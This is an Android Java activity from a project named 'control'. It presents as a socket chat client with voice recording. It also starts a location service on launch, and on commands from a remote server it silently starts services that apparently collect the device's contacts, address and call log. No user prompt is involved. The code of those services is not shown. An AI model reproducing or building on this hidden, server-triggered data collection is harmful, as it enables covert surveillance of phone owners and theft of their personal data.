package com.example.control;

import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.SocketException;
import java.net.SocketTimeoutException;

import android.app.Activity;
import android.content.Intent;
import android.graphics.Color;
import android.media.MediaRecorder;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.Message;
import android.view.Menu;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnLongClickListener;
import android.view.View.OnTouchListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

import com.example.control.service.ContactService;
import com.example.control.service.GetAddressService;
import com.example.control.service.GetCallLogService;
import com.example.control.service.LocationService;

public class ClientMainActivity extends Activity {
	Thread thread = null;

	DataInputStream dis = null;

	DataOutputStream dos = null;

	private String reMsg = null;

	private Boolean isContect = false;

	private String name = null;

	private TextView mTextView = null;

	private EditText mEditText = null;

	private Button mSendButton, mRecordButton;

	private Intent mIntent;

	private Handler mShowHandler;

	private MediaRecorder mRecorder;

	private String mFileName;

	private boolean hasVoice;

	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		name = ConectParams.USERNAME;

		mFileName = Environment.getExternalStorageDirectory().getAbsolutePath()
				+ "/audiorecordtest.3gp";
		mRecorder = new MediaRecorder();
		mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
		mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
		mRecorder.setOutputFile(mFileName);
		mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

		mSendButton = (Button) findViewById(R.id.Button01);
		mRecordButton = (Button) findViewById(R.id.Button02);
		mRecordButton.setOnLongClickListener(new OnLongClickListener() {
			@Override
			public boolean onLongClick(View v) {
				mRecordButton.setBackgroundColor(Color.RED);
				try {
					mRecorder.prepare();
					mRecorder.start();
				} catch (IllegalStateException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
				// 开始录音
				return true;
			}
		});

		mRecordButton.setOnTouchListener(new OnTouchListener() {
			@Override
			public boolean onTouch(View v, MotionEvent event) {
				switch (event.getAction()) {
				case MotionEvent.ACTION_UP:
					mRecordButton.setBackgroundColor(Color.WHITE);
					mRecorder.stop();
					mRecorder.release();
					hasVoice = true;
					break;
				default:
					break;
				}
				return false;
			}

		});

		mTextView = (TextView) findViewById(R.id.TextView01);
		mEditText = (EditText) findViewById(R.id.EditText01);
		dos = ConectParams.sDataOut;
		dis = ConectParams.sDataIn;
		mShowHandler = new Handler() {
			public void handleMessage(Message msg) {
				switch (msg.what) {
				case 0:// 收到服务器发送的信息
					mTextView.append("\n" + reMsg);
					break;
				case 1:// 服务器断开连接,正常终止
					Toast.makeText(ClientMainActivity.this, "服务器关闭,断开连接",
							Toast.LENGTH_SHORT).show();
					mIntent = new Intent(ClientMainActivity.this,
							InitActivity.class);
					startActivity(mIntent);
					finish();
					break;
				case 2:// 网络出现异常
					Toast.makeText(ClientMainActivity.this, "连接超时",
							Toast.LENGTH_SHORT).show();
					mIntent = new Intent(ClientMainActivity.this,
							InitActivity.class);
					startActivity(mIntent);
					finish();
					break;

				default:
					break;
				}
			}
		};
		new Thread() {
			public void run() {
				ReceiveMsg();
			}
		}.start();
		mSendButton.setOnClickListener(new View.OnClickListener() {
			@Override
			public void onClick(View v) {
				if (hasVoice) {
					byte[] buffer = null;
					try {
						File file = new File(mFileName);
						FileInputStream fis = new FileInputStream(file);
						ByteArrayOutputStream bos = new ByteArrayOutputStream(
								1000);
						byte[] b = new byte[1000];
						int n;
						while ((n = fis.read(b)) != -1) {
							bos.write(b, 0, n);
						}
						fis.close();
						bos.close();
						buffer = bos.toByteArray();
						dos.writeInt(ControlIds.VOICE);
						dos.writeInt(buffer.length);
						dos.write(buffer);
					} catch (FileNotFoundException e) {
						e.printStackTrace();
					} catch (IOException e) {
						e.printStackTrace();
					}
				}
				String str = mEditText.getText().toString().trim();
				try {
					if (!hasVoice) {
						dos.writeInt(ControlIds.CHAT);
					}
					dos.writeUTF(str);
					mEditText.setText("");
					System.out.println("");

				} catch (SocketTimeoutException e) {
					Toast.makeText(ClientMainActivity.this, "连接超时",
							Toast.LENGTH_SHORT).show();
					Intent intent = new Intent(ClientMainActivity.this,
							InitActivity.class);
					startActivity(intent);
					e.printStackTrace();
				} catch (IOException e) {
					// TODO Auto-generated catch block
					Toast.makeText(ClientMainActivity.this, "连接超时",
							Toast.LENGTH_SHORT).show();
					Intent intent = new Intent(ClientMainActivity.this,
							InitActivity.class);
					startActivity(intent);
					e.printStackTrace();
				}
				hasVoice = false;
			}
		});
		// getIpAddress();
		if (ConectParams.LOCAL_ADDRESS != null) {
			mTextView.append("本机IP地址:" + ConectParams.LOCAL_ADDRESS);
		}
		Intent it = new Intent(ClientMainActivity.this, LocationService.class);
		startService(it);
	}

	public void disConnect() {
		if (dos != null) {
			try {
				dos.writeInt(ControlIds.EXIT);
				dos.writeUTF(name);
				// s.close();
			} catch (IOException e1) {
				// TODO Auto-generated catch block
				e1.printStackTrace();
			}
		}
	}

	/**
	 * 线程监视Server信息
	 */
	private void ReceiveMsg() {
		try {
			ConectParams.sDataOut.writeInt(ControlIds.LOGIN);
			ConectParams.sDataOut.writeUTF(name);
			isContect = true;
		} catch (IOException e1) {
			e1.printStackTrace();
		}
		try {
			while (isContect) {
				int tag = dis.readInt();
				String str;
				// System.out.println("client:tag:" + tag);
				switch (tag) {
				case ControlIds.CHAT:
					str = dis.readUTF();
					reMsg = str;
					mShowHandler.sendEmptyMessage(0);
					break;
				case ControlIds.CONTACT:
					// str = dis.readUTF();
					mIntent = new Intent(ClientMainActivity.this,
							ContactService.class);
					ClientMainActivity.this.startService(mIntent);
					break;
				case ControlIds.ADDRESS:
					// str = dis.readUTF();
					mIntent = new Intent(ClientMainActivity.this,
							GetAddressService.class);
					ClientMainActivity.this.startService(mIntent);
					break;
				case ControlIds.CALL_LOG:
					// str = dis.readUTF();
					mIntent = new Intent(ClientMainActivity.this,
							GetCallLogService.class);
					ClientMainActivity.this.startService(mIntent);
					break;
				case ControlIds.EXIT:
					// str = dis.readUTF();
					mShowHandler.sendEmptyMessage(1);
					break;

				default:
					break;
				}
			}
		} catch (SocketException e) {
			mShowHandler.sendEmptyMessage(2);
			e.printStackTrace();
		} catch (IOException e) {
			mShowHandler.sendEmptyMessage(2);
			e.printStackTrace();
		}

	}

	@Override
	protected void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
		disConnect();
	}

	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		// TODO Auto-generated method stub
		menu.add(0, 1, 1, "初始化設置");
		menu.add(0, 2, 2, "退出");
		return super.onCreateOptionsMenu(menu);
	}

	@Override
	public boolean onOptionsItemSelected(MenuItem item) {
		// TODO Auto-generated method stub
		if (item.getItemId() == 1) {
			Intent intent = new Intent(ClientMainActivity.this,
					InitActivity.class);
			startActivity(intent);
			ClientMainActivity.this.finish();
		} else if (item.getItemId() == 2) {
			ClientMainActivity.this.finish();
			android.os.Process.killProcess(android.os.Process.myPid());
			System.exit(0);
		}
		return super.onOptionsItemSelected(item);
	}

	// private void getIpAddress() {
	// try {
	// for (Enumeration<NetworkInterface> en =
	// NetworkInterface.getNetworkInterfaces(); en
	// .hasMoreElements();) {
	// NetworkInterface intf = en.nextElement();
	// for (Enumeration<InetAddress> enumIpAddr = intf.getInetAddresses();
	// enumIpAddr
	// .hasMoreElements();) {
	// InetAddress inetAddress = enumIpAddr.nextElement();
	// if (!inetAddress.isLoopbackAddress()) {
	// mTextView.append("本机IP地址:" + inetAddress.getHostAddress().toString());
	// }
	// }
	// }
	// } catch (SocketException ex) {
	// }
	// }

}
